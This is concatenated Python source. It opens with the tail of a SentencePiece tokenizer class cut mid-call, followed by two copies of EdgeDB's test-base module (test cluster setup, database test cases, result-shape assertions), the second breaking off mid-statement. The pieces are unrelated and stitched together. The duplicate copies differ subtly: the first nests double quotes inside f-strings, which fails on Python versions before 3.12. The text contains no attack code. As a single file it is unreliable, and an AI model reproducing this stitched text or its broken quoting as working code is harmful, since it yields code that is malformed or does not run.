f"--character_coverage={self.char_coverage} --model_type={self.model_type}", f"--unk_id={len(spec_tokens)} --pad_id=-1 --bos_id=-1 --eos_id=-1", f"--user_defined_symbols={','.join(spec_tokens)}"])) raw_text_path.unlink() return self.cache_dir/'spm.model' def setup(self, items, rules=None): from sentencepiece import SentencePieceProcessor if rules is None: rules = [] if self.tok is not None: return {'sp_model': self.sp_model} raw_text_path = self.cache_dir/'texts.out' with open(raw_text_path, 'w') as f: for t in progress_bar(maps(*rules, items), total=len(items), leave=False): f.write(f'{t}\n') sp_model = self.train(raw_text_path) self.tok = SentencePieceProcessor() self.tok.Load(str(sp_model)) def __call__(self, items): for t in items: yield self.tok.EncodeAsPieces(t) # Cell SubwordTokenizer = SentencePieceTokenizer
# # This source file is part of the EdgeDB open source project. # # Copyright 2016-present MagicStack Inc. and the EdgeDB authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from __future__ import annotations import asyncio import atexit import collections import contextlib import decimal import functools import inspect import json import math import os import pprint import re import unittest import uuid from datetime import timedelta import click.testing import edgedb from edb import cli from edb.server import cluster as edgedb_cluster from edb.server import defines as edgedb_defines from edb.common import taskgroup from edb.testbase import serutils def get_test_cases(tests): result = collections.OrderedDict() for test in tests: if isinstance(test, unittest.TestSuite): result.update(get_test_cases(test._tests)) else: cls = type(test) try: methods = result[cls] except KeyError: methods = result[cls] = [] methods.append(test) return result class TestCaseMeta(type(unittest.TestCase)): _database_names = set() @staticmethod def _iter_methods(bases, ns): for base in bases: for methname in dir(base): if not methname.startswith('test_'): continue meth = getattr(base, methname) if not inspect.iscoroutinefunction(meth): continue yield methname, meth for methname, meth in ns.items(): if not methname.startswith('test_'): continue if not inspect.iscoroutinefunction(meth): continue yield methname, meth @classmethod def wrap(mcls, meth): @functools.wraps(meth) def wrapper(self, *args, __meth__=meth, **kwargs): try_no = 1 while True: try: # There might be unobvious serializability # anomalies across the test suite, so, rather # than hunting them down every time, simply # retry the test. self.loop.run_until_complete( __meth__(self, *args, **kwargs)) except edgedb.TransactionSerializationError: if try_no == 3: raise else: self.loop.run_until_complete(self.con.execute( 'ROLLBACK;' )) try_no += 1 else: break return wrapper @classmethod def add_method(mcls, methname, ns, meth): ns[methname] = mcls.wrap(meth) def __new__(mcls, name, bases, ns): for methname, meth in mcls._iter_methods(bases, ns.copy()): if methname in ns: del ns[methname] mcls.add_method(methname, ns, meth) cls = super().__new__(mcls, name, bases, ns) if not ns.get('BASE_TEST_CLASS') and hasattr(cls, 'get_database_name'): dbname = cls.get_database_name() if name in mcls._database_names: raise TypeError( f'{name} wants duplicate database name: {dbname}') mcls._database_names.add(name) return cls class TestCase(unittest.TestCase, metaclass=TestCaseMeta): @classmethod def setUpClass(cls): loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) cls.loop = loop @classmethod def tearDownClass(cls): cls.loop.close() asyncio.set_event_loop(None) def add_fail_notes(self, **kwargs): if not hasattr(self, 'fail_notes'): self.fail_notes = {} self.fail_notes.update(kwargs) @contextlib.contextmanager def annotate(self, **kwargs): # Annotate the test in case the nested block of code fails. try: yield except Exception: self.add_fail_notes(**kwargs) raise @contextlib.contextmanager def assertRaisesRegex(self, exception, regex, msg=None, **kwargs): with super().assertRaisesRegex(exception, regex, msg=msg): try: yield except BaseException as e: if isinstance(e, exception): for attr_name, expected_val in kwargs.items(): val = getattr(e, attr_name) if val != expected_val: raise self.failureException( f'{exception.__name__} context attribute ' f'{attr_name!r} is {val} (expected ' f'{expected_val!r})') from e raise _default_cluster = None def _init_cluster(data_dir=None, *, cleanup_atexit=True, init_settings=None): if init_settings is None: init_settings = {} if (not os.environ.get('EDGEDB_DEBUG_SERVER') and not os.environ.get('EDGEDB_LOG_LEVEL')): _env = {'EDGEDB_LOG_LEVEL': 'silent'} else: _env = {} if data_dir is None: cluster = edgedb_cluster.TempCluster(env=_env, testmode=True) destroy = True else: cluster = edgedb_cluster.Cluster(data_dir=data_dir, env=_env) destroy = False if cluster.get_status() == 'not-initialized': cluster.init(server_settings=init_settings) cluster.start(port='dynamic') cluster.set_superuser_password('test') if cleanup_atexit: atexit.register(_shutdown_cluster, cluster, destroy=destroy) return cluster def _start_cluster(*, cleanup_atexit=True): global _default_cluster if _default_cluster is None: cluster_addr = os.environ.get('EDGEDB_TEST_CLUSTER_ADDR') if cluster_addr: conn_spec = json.loads(cluster_addr) _default_cluster = edgedb_cluster.RunningCluster(**conn_spec) else: data_dir = os.environ.get('EDGEDB_TEST_DATA_DIR') _default_cluster = _init_cluster( data_dir=data_dir, cleanup_atexit=cleanup_atexit) return _default_cluster def _shutdown_cluster(cluster, *, destroy=True): global _default_cluster _default_cluster = None if cluster is not None: cluster.stop() if destroy: cluster.destroy() class ClusterTestCase(TestCase): BASE_TEST_CLASS = True @classmethod def setUpClass(cls): super().setUpClass() cls.cluster = _start_cluster(cleanup_atexit=True) class RollbackChanges: def __init__(self, test): self._conn = test.con async def __aenter__(self): self._tx = self._conn.transaction() await self._tx.start() async def __aexit__(self, exc_type, exc, tb): await self._tx.rollback() class ConnectedTestCaseMixin: @classmethod async def connect(cls, *, cluster=None, database=edgedb_defines.EDGEDB_SUPERUSER_DB, user=edgedb_defines.EDGEDB_SUPERUSER, password='test'): conargs = cls.get_connect_args( cluster=cluster, database=database, user=user, password=password) return await edgedb.async_connect(**conargs) @classmethod def get_connect_args(cls, *, cluster=None, database=edgedb_defines.EDGEDB_SUPERUSER_DB, user=edgedb_defines.EDGEDB_SUPERUSER, password='test'): if cluster is None: cluster = cls.cluster conargs = cluster.get_connect_args().copy() conargs.update(dict(user=user, password=password, database=database)) return conargs def _run_and_rollback(self): return RollbackChanges(self) async def assert_query_result(self, query, exp_result_json, exp_result_binary=..., *, msg=None, sort=None, variables=None): fetch_args = variables if isinstance(variables, tuple) else () fetch_kw = variables if isinstance(variables, dict) else {} try: tx = self.con.transaction() await tx.start() try: res = await self.con.fetchall_json(query, *fetch_args, **fetch_kw) finally: await tx.rollback() res = json.loads(res) if sort is not None: self._sort_results(res, sort) self._assert_data_shape(res, exp_result_json, message=msg) except Exception: self.add_fail_notes(serialization='json') raise if exp_result_binary is ...: # The expected result is the same exp_result_binary = exp_result_json try: res = await self.con.fetchall(query, *fetch_args, **fetch_kw) res = serutils.serialize(res) if sort is not None: self._sort_results(res, sort) self._assert_data_shape(res, exp_result_binary, message=msg) except Exception: self.add_fail_notes(serialization='binary') raise def _sort_results(self, results, sort): if sort is True: sort = lambda x: x # don't bother sorting empty things if results: # sort can be either a key function or a dict if isinstance(sort, dict): # the keys in the dict indicate the fields that # actually must be sorted for key, val in sort.items(): # '.' is a special key referring to the base object if key == '.': self._sort_results(results, val) else: if isinstance(results, list): for r in results: self._sort_results(r[key], val) else: self._sort_results(results[key], val) else: results.sort(key=sort) def _assert_data_shape(self, data, shape, message=None): _void = object() def _format_path(path): if path: return 'PATH: ' + ''.join(str(p) for p in path) else: return 'PATH: <top-level>' def _assert_type_shape(path, data, shape): if shape in (int, float): if not isinstance(data, shape): self.fail( f'{message}: expected {shape}, got {data!r} ' f'{_format_path(path)}') else: try: shape(data) except (ValueError, TypeError): self.fail( f'{message}: expected {shape}, got {data!r} ' f'{_format_path(path)}') def _assert_dict_shape(path, data, shape): for sk, sv in shape.items(): if not data or sk not in data: self.fail( f'{message}: key {sk!r} ' f'is missing\n{pprint.pformat(data)} ' f'{_format_path(path)}') _assert_generic_shape(path + (f'["{sk}"]',), data[sk], sv) def _list_shape_iter(shape): last_shape = _void for item in shape: if item is Ellipsis: if last_shape is _void: raise ValueError( 'invalid shape spec: Ellipsis cannot be the' 'first element') while True: yield last_shape last_shape = item yield item def _assert_list_shape(path, data, shape): if not isinstance(data, list): self.fail( f'{message}: expected list ' f'{_format_path(path)}') if not data and shape: self.fail( f'{message}: expected non-empty list ' f'{_format_path(path)}') shape_iter = _list_shape_iter(shape) _data_count = 0 for _data_count, el in enumerate(data): try: el_shape = next(shape_iter) except StopIteration: self.fail( f'{message}: unexpected trailing elements in list ' f'{_format_path(path)}') _assert_generic_shape( path + (f'[{_data_count}]',), el, el_shape) if len(shape) > _data_count + 1: if shape[_data_count + 1] is not Ellipsis: self.fail( f'{message}: expecting more elements in list ' f'{_format_path(path)}') def _assert_set_shape(path, data, shape): if not isinstance(data, (list, set)): self.fail( f'{message}: expected list or set ' f'{_format_path(path)}') if not data and shape: self.fail( f'{message}: expected non-empty set ' f'{_format_path(path)}') shape_iter = _list_shape_iter(sorted(shape)) _data_count = 0 for _data_count, el in enumerate(sorted(data)): try: el_shape = next(shape_iter) except StopIteration: self.fail( f'{message}: unexpected trailing elements in set ' f'[path {_format_path(path)}]') _assert_generic_shape( path + (f'{{{_data_count}}}',), el, el_shape) if len(shape) > _data_count + 1: if Ellipsis not in shape: self.fail( f'{message}: expecting more elements in set ' f'{_format_path(path)}') def _assert_generic_shape(path, data, shape): if isinstance(shape, nullable): if data is None: return else: shape = shape.value if isinstance(shape, list): return _assert_list_shape(path, data, shape) elif isinstance(shape, set): return _assert_set_shape(path, data, shape) elif isinstance(shape, dict): return _assert_dict_shape(path, data, shape) elif isinstance(shape, type): return _assert_type_shape(path, data, shape) elif isinstance(shape, float): if not math.isclose(data, shape, rel_tol=1e-04): self.fail( f'{message}: not isclose({data}, {shape}) ' f'{_format_path(path)}') elif isinstance(shape, uuid.UUID): # since the data comes from JSON, it will only have a str if data != str(shape): self.fail( f'{message}: {data!r} != {shape!r} ' f'{_format_path(path)}') elif isinstance(shape, (str, int, timedelta, decimal.Decimal)): if data != shape: self.fail( f'{message}: {data!r} != {shape!r} ' f'{_format_path(path)}') elif shape is None: if data is not None: self.fail( f'{message}: {data!r} is expected to be None ' f'{_format_path(path)}') else: raise ValueError(f'unsupported shape type {shape}') message = message or 'data shape differs' return _assert_generic_shape((), data, shape) class CLITestCaseMixin: def run_cli(self, *args, input=None): conn_args = self.get_connect_args() cmd_args = ( '--host', conn_args['host'], '--port', conn_args['port'], '--user', conn_args['user'], ) + args if conn_args['password']: cmd_args = ('--password-from-stdin',) + cmd_args if input is not None: input = f"{conn_args["password"]}\n{input}" else: input = f"{conn_args["password"]}\n" runner = click.testing.CliRunner() return runner.invoke( cli.cli, args=cmd_args, input=input, catch_exceptions=False) class ConnectedTestCase(ClusterTestCase, ConnectedTestCaseMixin): BASE_TEST_CLASS = True @classmethod def setUpClass(cls): super().setUpClass() cls.con = cls.loop.run_until_complete(cls.connect()) @classmethod def tearDownClass(cls): try: cls.loop.run_until_complete(cls.con.aclose()) # Give event loop another iteration so that connection # transport has a chance to properly close. cls.loop.run_until_complete(asyncio.sleep(0)) cls.con = None finally: super().tearDownClass() class DatabaseTestCase(ClusterTestCase, ConnectedTestCaseMixin): SETUP = None TEARDOWN = None SCHEMA = None SETUP_METHOD = None TEARDOWN_METHOD = None # Some tests may want to manage transactions manually, # in which case ISOLATED_METHODS will be False. ISOLATED_METHODS = True # Turns on "EdgeDB developer" mode which allows using restricted # syntax like USING SQL and similar. It allows modifying standard # library (e.g. declaring casts). INTERNAL_TESTMODE = True BASE_TEST_CLASS = True def setUp(self): if self.INTERNAL_TESTMODE: self.loop.run_until_complete( self.con.execute( 'CONFIGURE SESSION SET __internal_testmode := true;')) if self.ISOLATED_METHODS: self.xact = self.con.transaction() self.loop.run_until_complete(self.xact.start()) if self.SETUP_METHOD: self.loop.run_until_complete( self.con.execute(self.SETUP_METHOD)) super().setUp() def tearDown(self): try: if self.TEARDOWN_METHOD: self.loop.run_until_complete( self.con.execute(self.TEARDOWN_METHOD)) finally: try: if self.ISOLATED_METHODS: self.loop.run_until_complete(self.xact.rollback()) del self.xact if self.con.is_in_transaction(): self.loop.run_until_complete( self.con.execute('ROLLBACK')) raise AssertionError( 'test connection is still in transaction ' '*after* the test') if not self.ISOLATED_METHODS: self.loop.run_until_complete( self.con.execute('RESET ALIAS *;')) finally: super().tearDown() @classmethod def setUpClass(cls): super().setUpClass() dbname = cls.get_database_name() cls.admin_conn = None cls.con = None class_set_up = os.environ.get('EDGEDB_TEST_CASES_SET_UP') # Only open an extra admin connection if necessary. if not class_set_up: script = f'CREATE DATABASE {dbname};' cls.admin_conn = cls.loop.run_until_complete(cls.connect()) cls.loop.run_until_complete(cls.admin_conn.execute(script)) cls.con = cls.loop.run_until_complete(cls.connect(database=dbname)) if not class_set_up: script = cls.get_setup_script() if script: cls.loop.run_until_complete(cls.con.execute(script)) @classmethod def get_database_name(cls): if cls.__name__.startswith('TestEdgeQL'): dbname = cls.__name__[len('TestEdgeQL'):] elif cls.__name__.startswith('Test'): dbname = cls.__name__[len('Test'):] else: dbname = cls.__name__ return dbname.lower() @classmethod def get_setup_script(cls): script = '' # allow the setup script to also run in test mode if cls.INTERNAL_TESTMODE: script += '\nCONFIGURE SESSION SET __internal_testmode := true;' # Look at all SCHEMA entries and potentially create multiple # modules, but always create the 'test' module. schema = ['\nmodule test {}'] for name, val in cls.__dict__.items(): m = re.match(r'^SCHEMA(?:_(\w+))?', name) if m: module_name = (m.group(1) or 'test').lower().replace( '__', '.') with open(val, 'r') as sf: module = sf.read() schema.append(f'\nmodule {module_name} {{ {module} }}') script += f'\nCREATE MIGRATION test_migration' script += f' TO {{ {''.join(schema)} }};' script += f'\nCOMMIT MIGRATION test_migration;' if cls.SETUP: if not isinstance(cls.SETUP, (list, tuple)): scripts = [cls.SETUP] else: scripts = cls.SETUP for scr in scripts: if '\n' not in scr and os.path.exists(scr): with open(scr, 'rt') as f: setup = f.read() else: setup = scr script += '\n' + setup # allow the setup script to also run in test mode if cls.INTERNAL_TESTMODE: script += '\nCONFIGURE SESSION SET __internal_testmode := false;' return script.strip(' \n') @classmethod def tearDownClass(cls): script = '' class_set_up = os.environ.get('EDGEDB_TEST_CASES_SET_UP') if cls.TEARDOWN and not class_set_up: script = cls.TEARDOWN.strip() try: if script: cls.loop.run_until_complete( cls.con.execute(script)) finally: try: cls.loop.run_until_complete(cls.con.aclose()) if not class_set_up: dbname = cls.get_database_name() script = f'DROP DATABASE {dbname};' cls.loop.run_until_complete( cls.admin_conn.execute(script)) finally: try: if cls.admin_conn is not None: cls.loop.run_until_complete( cls.admin_conn.aclose()) finally: super().tearDownClass() @contextlib.asynccontextmanager async def assertRaisesRegexTx(self, exception, regex, msg=None, **kwargs): """A version of assertRaisesRegex with automatic transaction recovery """ with super().assertRaisesRegex(exception, regex, msg=msg): try: tx = self.con.transaction() await tx.start() yield except BaseException as e: if isinstance(e, exception): for attr_name, expected_val in kwargs.items(): val = getattr(e, attr_name) if val != expected_val: raise self.failureException( f'{exception.__name__} context attribute ' f'{attr_name!r} is {val} (expected ' f'{expected_val!r})') from e raise finally: await tx.rollback() class nullable: def __init__(self, value): self.value = value class Error: def __init__(self, cls, message, shape): self._message = message self._class = cls self._shape = shape @property def message(self): return self._message @property def cls(self): return self._class @property def shape(self): return self._shape class BaseQueryTestCase(DatabaseTestCase): BASE_TEST_CLASS = True class DDLTestCase(BaseQueryTestCase): # DDL test cases generally need to be serialized # to avoid deadlocks in parallel execution. SERIALIZED = True class NonIsolatedDDLTestCase(DDLTestCase): ISOLATED_METHODS = False BASE_TEST_CLASS = True class QueryTestCase(BaseQueryTestCase): BASE_TEST_CLASS = True def get_test_cases_setup(cases): result = [] for case in cases: if not hasattr(case, 'get_setup_script'): continue setup_script = case.get_setup_script() if not setup_script: continue dbname = case.get_database_name() result.append((case, dbname, setup_script)) return result def setup_test_cases(cases, conn, num_jobs): setup = get_test_cases_setup(cases) async def _run(): if num_jobs == 1: # Special case for --jobs=1 for _case, dbname, setup_script in setup: await _setup_database(dbname, setup_script, conn) else: async with taskgroup.TaskGroup(name='setup test cases') as g: # Use a semaphore to limit the concurrency of bootstrap # tasks to the number of jobs (bootstrap is heavy, having # more tasks than `--jobs` won't necessarily make # things faster.) sem = asyncio.BoundedSemaphore(num_jobs) async def controller(coro, *args): async with sem: await coro(*args) for _case, dbname, setup_script in setup: g.create_task(controller( _setup_database, dbname, setup_script, conn)) return asyncio.run(_run()) async def _setup_database(dbname, setup_script, conn_args): default_args = { 'user': edgedb_defines.EDGEDB_SUPERUSER, 'password': 'test', } default_args.update(conn_args) admin_conn = await edgedb.async_connect( database=edgedb_defines.EDGEDB_SUPERUSER_DB, **default_args) try: await admin_conn.execute(f'CREATE DATABASE {dbname};') finally: await admin_conn.aclose() dbconn = await edgedb.async_connect(database=dbname, **default_args) try: async with dbconn.transaction(): await dbconn.execute(setup_script) finally: await dbconn.aclose() return dbname _lock_cnt = 0 def gen_lock_key(): global _lock_cnt _lock_cnt += 1 return os.getpid() * 1000 + _lock_cnt
# # This source file is part of the EdgeDB open source project. # # Copyright 2016-present MagicStack Inc. and the EdgeDB authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from __future__ import annotations import asyncio import atexit import collections import contextlib import decimal import functools import inspect import json import math import os import pprint import re import unittest import uuid from datetime import timedelta import click.testing import edgedb from edb import cli from edb.server import cluster as edgedb_cluster from edb.server import defines as edgedb_defines from edb.common import taskgroup from edb.testbase import serutils def get_test_cases(tests): result = collections.OrderedDict() for test in tests: if isinstance(test, unittest.TestSuite): result.update(get_test_cases(test._tests)) else: cls = type(test) try: methods = result[cls] except KeyError: methods = result[cls] = [] methods.append(test) return result class TestCaseMeta(type(unittest.TestCase)): _database_names = set() @staticmethod def _iter_methods(bases, ns): for base in bases: for methname in dir(base): if not methname.startswith('test_'): continue meth = getattr(base, methname) if not inspect.iscoroutinefunction(meth): continue yield methname, meth for methname, meth in ns.items(): if not methname.startswith('test_'): continue if not inspect.iscoroutinefunction(meth): continue yield methname, meth @classmethod def wrap(mcls, meth): @functools.wraps(meth) def wrapper(self, *args, __meth__=meth, **kwargs): try_no = 1 while True: try: # There might be unobvious serializability # anomalies across the test suite, so, rather # than hunting them down every time, simply # retry the test. self.loop.run_until_complete( __meth__(self, *args, **kwargs)) except edgedb.TransactionSerializationError: if try_no == 3: raise else: self.loop.run_until_complete(self.con.execute( 'ROLLBACK;' )) try_no += 1 else: break return wrapper @classmethod def add_method(mcls, methname, ns, meth): ns[methname] = mcls.wrap(meth) def __new__(mcls, name, bases, ns): for methname, meth in mcls._iter_methods(bases, ns.copy()): if methname in ns: del ns[methname] mcls.add_method(methname, ns, meth) cls = super().__new__(mcls, name, bases, ns) if not ns.get('BASE_TEST_CLASS') and hasattr(cls, 'get_database_name'): dbname = cls.get_database_name() if name in mcls._database_names: raise TypeError( f'{name} wants duplicate database name: {dbname}') mcls._database_names.add(name) return cls class TestCase(unittest.TestCase, metaclass=TestCaseMeta): @classmethod def setUpClass(cls): loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) cls.loop = loop @classmethod def tearDownClass(cls): cls.loop.close() asyncio.set_event_loop(None) def add_fail_notes(self, **kwargs): if not hasattr(self, 'fail_notes'): self.fail_notes = {} self.fail_notes.update(kwargs) @contextlib.contextmanager def annotate(self, **kwargs): # Annotate the test in case the nested block of code fails. try: yield except Exception: self.add_fail_notes(**kwargs) raise @contextlib.contextmanager def assertRaisesRegex(self, exception, regex, msg=None, **kwargs): with super().assertRaisesRegex(exception, regex, msg=msg): try: yield except BaseException as e: if isinstance(e, exception): for attr_name, expected_val in kwargs.items(): val = getattr(e, attr_name) if val != expected_val: raise self.failureException( f'{exception.__name__} context attribute ' f'{attr_name!r} is {val} (expected ' f'{expected_val!r})') from e raise _default_cluster = None def _init_cluster(data_dir=None, *, cleanup_atexit=True, init_settings=None): if init_settings is None: init_settings = {} if (not os.environ.get('EDGEDB_DEBUG_SERVER') and not os.environ.get('EDGEDB_LOG_LEVEL')): _env = {'EDGEDB_LOG_LEVEL': 'silent'} else: _env = {} if data_dir is None: cluster = edgedb_cluster.TempCluster(env=_env, testmode=True) destroy = True else: cluster = edgedb_cluster.Cluster(data_dir=data_dir, env=_env) destroy = False if cluster.get_status() == 'not-initialized': cluster.init(server_settings=init_settings) cluster.start(port='dynamic') cluster.set_superuser_password('test') if cleanup_atexit: atexit.register(_shutdown_cluster, cluster, destroy=destroy) return cluster def _start_cluster(*, cleanup_atexit=True): global _default_cluster if _default_cluster is None: cluster_addr = os.environ.get('EDGEDB_TEST_CLUSTER_ADDR') if cluster_addr: conn_spec = json.loads(cluster_addr) _default_cluster = edgedb_cluster.RunningCluster(**conn_spec) else: data_dir = os.environ.get('EDGEDB_TEST_DATA_DIR') _default_cluster = _init_cluster( data_dir=data_dir, cleanup_atexit=cleanup_atexit) return _default_cluster def _shutdown_cluster(cluster, *, destroy=True): global _default_cluster _default_cluster = None if cluster is not None: cluster.stop() if destroy: cluster.destroy() class ClusterTestCase(TestCase): BASE_TEST_CLASS = True @classmethod def setUpClass(cls): super().setUpClass() cls.cluster = _start_cluster(cleanup_atexit=True) class RollbackChanges: def __init__(self, test): self._conn = test.con async def __aenter__(self): self._tx = self._conn.transaction() await self._tx.start() async def __aexit__(self, exc_type, exc, tb): await self._tx.rollback() class ConnectedTestCaseMixin: @classmethod async def connect(cls, *, cluster=None, database=edgedb_defines.EDGEDB_SUPERUSER_DB, user=edgedb_defines.EDGEDB_SUPERUSER, password='test'): conargs = cls.get_connect_args( cluster=cluster, database=database, user=user, password=password) return await edgedb.async_connect(**conargs) @classmethod def get_connect_args(cls, *, cluster=None, database=edgedb_defines.EDGEDB_SUPERUSER_DB, user=edgedb_defines.EDGEDB_SUPERUSER, password='test'): if cluster is None: cluster = cls.cluster conargs = cluster.get_connect_args().copy() conargs.update(dict(user=user, password=password, database=database)) return conargs def _run_and_rollback(self): return RollbackChanges(self) async def assert_query_result(self, query, exp_result_json, exp_result_binary=..., *, msg=None, sort=None, variables=None): fetch_args = variables if isinstance(variables, tuple) else () fetch_kw = variables if isinstance(variables, dict) else {} try: tx = self.con.transaction() await tx.start() try: res = await self.con.fetchall_json(query, *fetch_args, **fetch_kw) finally: await tx.rollback() res = json.loads(res) if sort is not None: self._sort_results(res, sort) self._assert_data_shape(res, exp_result_json, message=msg) except Exception: self.add_fail_notes(serialization='json') raise if exp_result_binary is ...: # The expected result is the same exp_result_binary = exp_result_json try: res = await self.con.fetchall(query, *fetch_args, **fetch_kw) res = serutils.serialize(res) if sort is not None: self._sort_results(res, sort) self._assert_data_shape(res, exp_result_binary, message=msg) except Exception: self.add_fail_notes(serialization='binary') raise def _sort_results(self, results, sort): if sort is True: sort = lambda x: x # don't bother sorting empty things if results: # sort can be either a key function or a dict if isinstance(sort, dict): # the keys in the dict indicate the fields that # actually must be sorted for key, val in sort.items(): # '.' is a special key referring to the base object if key == '.': self._sort_results(results, val) else: if isinstance(results, list): for r in results: self._sort_results(r[key], val) else: self._sort_results(results[key], val) else: results.sort(key=sort) def _assert_data_shape(self, data, shape, message=None): _void = object() def _format_path(path): if path: return 'PATH: ' + ''.join(str(p) for p in path) else: return 'PATH: <top-level>' def _assert_type_shape(path, data, shape): if shape in (int, float): if not isinstance(data, shape): self.fail( f'{message}: expected {shape}, got {data!r} ' f'{_format_path(path)}') else: try: shape(data) except (ValueError, TypeError): self.fail( f'{message}: expected {shape}, got {data!r} ' f'{_format_path(path)}') def _assert_dict_shape(path, data, shape): for sk, sv in shape.items(): if not data or sk not in data: self.fail( f'{message}: key {sk!r} ' f'is missing\n{pprint.pformat(data)} ' f'{_format_path(path)}') _assert_generic_shape(path + (f'["{sk}"]',), data[sk], sv) def _list_shape_iter(shape): last_shape = _void for item in shape: if item is Ellipsis: if last_shape is _void: raise ValueError( 'invalid shape spec: Ellipsis cannot be the' 'first element') while True: yield last_shape last_shape = item yield item def _assert_list_shape(path, data, shape): if not isinstance(data, list): self.fail( f'{message}: expected list ' f'{_format_path(path)}') if not data and shape: self.fail( f'{message}: expected non-empty list ' f'{_format_path(path)}') shape_iter = _list_shape_iter(shape) _data_count = 0 for _data_count, el in enumerate(data): try: el_shape = next(shape_iter) except StopIteration: self.fail( f'{message}: unexpected trailing elements in list ' f'{_format_path(path)}') _assert_generic_shape( path + (f'[{_data_count}]',), el, el_shape) if len(shape) > _data_count + 1: if shape[_data_count + 1] is not Ellipsis: self.fail( f'{message}: expecting more elements in list ' f'{_format_path(path)}') def _assert_set_shape(path, data, shape): if not isinstance(data, (list, set)): self.fail( f'{message}: expected list or set ' f'{_format_path(path)}') if not data and shape: self.fail( f'{message}: expected non-empty set ' f'{_format_path(path)}') shape_iter = _list_shape_iter(sorted(shape)) _data_count = 0 for _data_count, el in enumerate(sorted(data)): try: el_shape = next(shape_iter) except StopIteration: self.fail( f'{message}: unexpected trailing elements in set ' f'[path {_format_path(path)}]') _assert_generic_shape( path + (f'{{{_data_count}}}',), el, el_shape) if len(shape) > _data_count + 1: if Ellipsis not in shape: self.fail( f'{message}: expecting more elements in set ' f'{_format_path(path)}') def _assert_generic_shape(path, data, shape): if isinstance(shape, nullable): if data is None: return else: shape = shape.value if isinstance(shape, list): return _assert_list_shape(path, data, shape) elif isinstance(shape, set): return _assert_set_shape(path, data, shape) elif isinstance(shape, dict): return _assert_dict_shape(path, data, shape) elif isinstance(shape, type): return _assert_type_shape(path, data, shape) elif isinstance(shape, float): if not math.isclose(data, shape, rel_tol=1e-04): self.fail( f'{message}: not isclose({data}, {shape}) ' f'{_format_path(path)}') elif isinstance(shape, uuid.UUID): # since the data comes from JSON, it will only have a str if data != str(shape): self.fail( f'{message}: {data!r} != {shape!r} ' f'{_format_path(path)}') elif isinstance(shape, (str, int, timedelta, decimal.Decimal)): if data != shape: self.fail( f'{message}: {data!r} != {shape!r} ' f'{_format_path(path)}') elif shape is None: if data is not None: self.fail( f'{message}: {data!r} is expected to be None ' f'{_format_path(path)}') else: raise ValueError(f'unsupported shape type {shape}') message = message or 'data shape differs' return _assert_generic_shape((), data, shape) class CLITestCaseMixin: def run_cli(self, *args, input=None): conn_args = self.get_connect_args() cmd_args = ( '--host', conn_args['host'], '--port', conn_args['port'], '--user', conn_args['user'], ) + args if conn_args['password']: cmd_args = ('--password-from-stdin',) + cmd_args if input is not None: input = f"{conn_args['password']}\n{input}" else: input = f"{conn_args['password']}\n" runner = click.testing.CliRunner() return runner.invoke( cli.cli, args=cmd_args, input=input, catch_exceptions=False) class ConnectedTestCase(ClusterTestCase, ConnectedTestCaseMixin): BASE_TEST_CLASS = True @classmethod def setUpClass(cls): super().setUpClass() cls.con = cls.loop.run_until_complete(cls.connect()) @classmethod def tearDownClass(cls): try: cls.loop.run_until_complete(cls.con.aclose()) # Give event loop another iteration so that connection # transport has a chance to properly close. cls.loop.run_until_complete(asyncio.sleep(0)) cls.con = None finally: super().tearDownClass() class DatabaseTestCase(ClusterTestCase, ConnectedTestCaseMixin): SETUP = None TEARDOWN = None SCHEMA = None SETUP_METHOD = None TEARDOWN_METHOD = None # Some tests may want to manage transactions manually, # in which case ISOLATED_METHODS will be False. ISOLATED_METHODS = True # Turns on "EdgeDB developer" mode which allows using restricted # syntax like USING SQL and similar. It allows modifying standard # library (e.g. declaring casts). INTERNAL_TESTMODE = True BASE_TEST_CLASS = True def setUp(self): if self.INTERNAL_TESTMODE: self.loop.run_until_complete( self.con.execute( 'CONFIGURE SESSION SET __internal_testmode := true;')) if self.ISOLATED_METHODS: self.xact = self.con.transaction() self.loop.run_until_complete(self.xact.start()) if self.SETUP_METHOD: self.loop.run_until_complete( self.con.execute(self.SETUP_METHOD)) super().setUp() def tearDown(self): try: if self.TEARDOWN_METHOD: self.loop.run_until_complete( self.con.execute(self.TEARDOWN_METHOD)) finally: try: if self.ISOLATED_METHODS: self.loop.run_until_complete(self.xact.rollback()) del self.xact if self.con.is_in_transaction(): self.loop.run_until_complete( self.con.execute('ROLLBACK')) raise AssertionError( 'test connection is still in transaction ' '*after* the test') if not self.ISOLATED_METHODS: self.loop.run_until_complete( self.con.execute('RESET ALIAS *;')) finally: super().tearDown() @classmethod def setUpClass(cls): super().setUpClass() dbname = cls.get_database_name() cls.admin_conn = None cls.con = None class_set_up = os.environ.get('EDGEDB_TEST_CASES_SET_UP') # Only open an extra admin connection if necessary. if not class_set_up: script = f'CREATE DATABASE {dbname};' cls.admin_conn = cls.loop.run_until_complete(cls.connect()) cls.loop.run_until_complete(cls.admin_conn.execute(script)) cls.con = cls.loop.run_until_complete(cls.connect(database=dbname)) if not class_set_up: script = cls.get_setup_script() if script: cls.loop.run_until_complete(cls.con.execute(script)) @classmethod def get_database_name(cls): if cls.__name__.startswith('TestEdgeQL'): dbname = cls.__name__[len('TestEdgeQL'):] elif cls.__name__.startswith('Test'): dbname = cls.__name__[len('Test'):] else: dbname = cls.__name__ return dbname.lower() @classmethod def get_setup_script(cls): script = '' # allow the setup script to also run in test mode if cls.INTERNAL_TESTMODE: script += '\nCONFIGURE SESSION SET __internal_testmode := true;' # Look at all SCHEMA entries and potentially create multiple # modules, but always create the 'test' module. schema = ['\nmodule test {}'] for name, val in cls.__dict__.items(): m = re.match(r'^SCHEMA(?:_(\w+))?', name) if m: module_name = (m.group(1) or 'test').lower().replace( '__', '.') with open(val, 'r') as sf: module = sf.read() schema.append(f'\nmodule {module_name} {{ {module} }}') script += f'\nCREATE MIGRATION test_migration' script += f' TO {{ {"".join(schema)} }};' script += 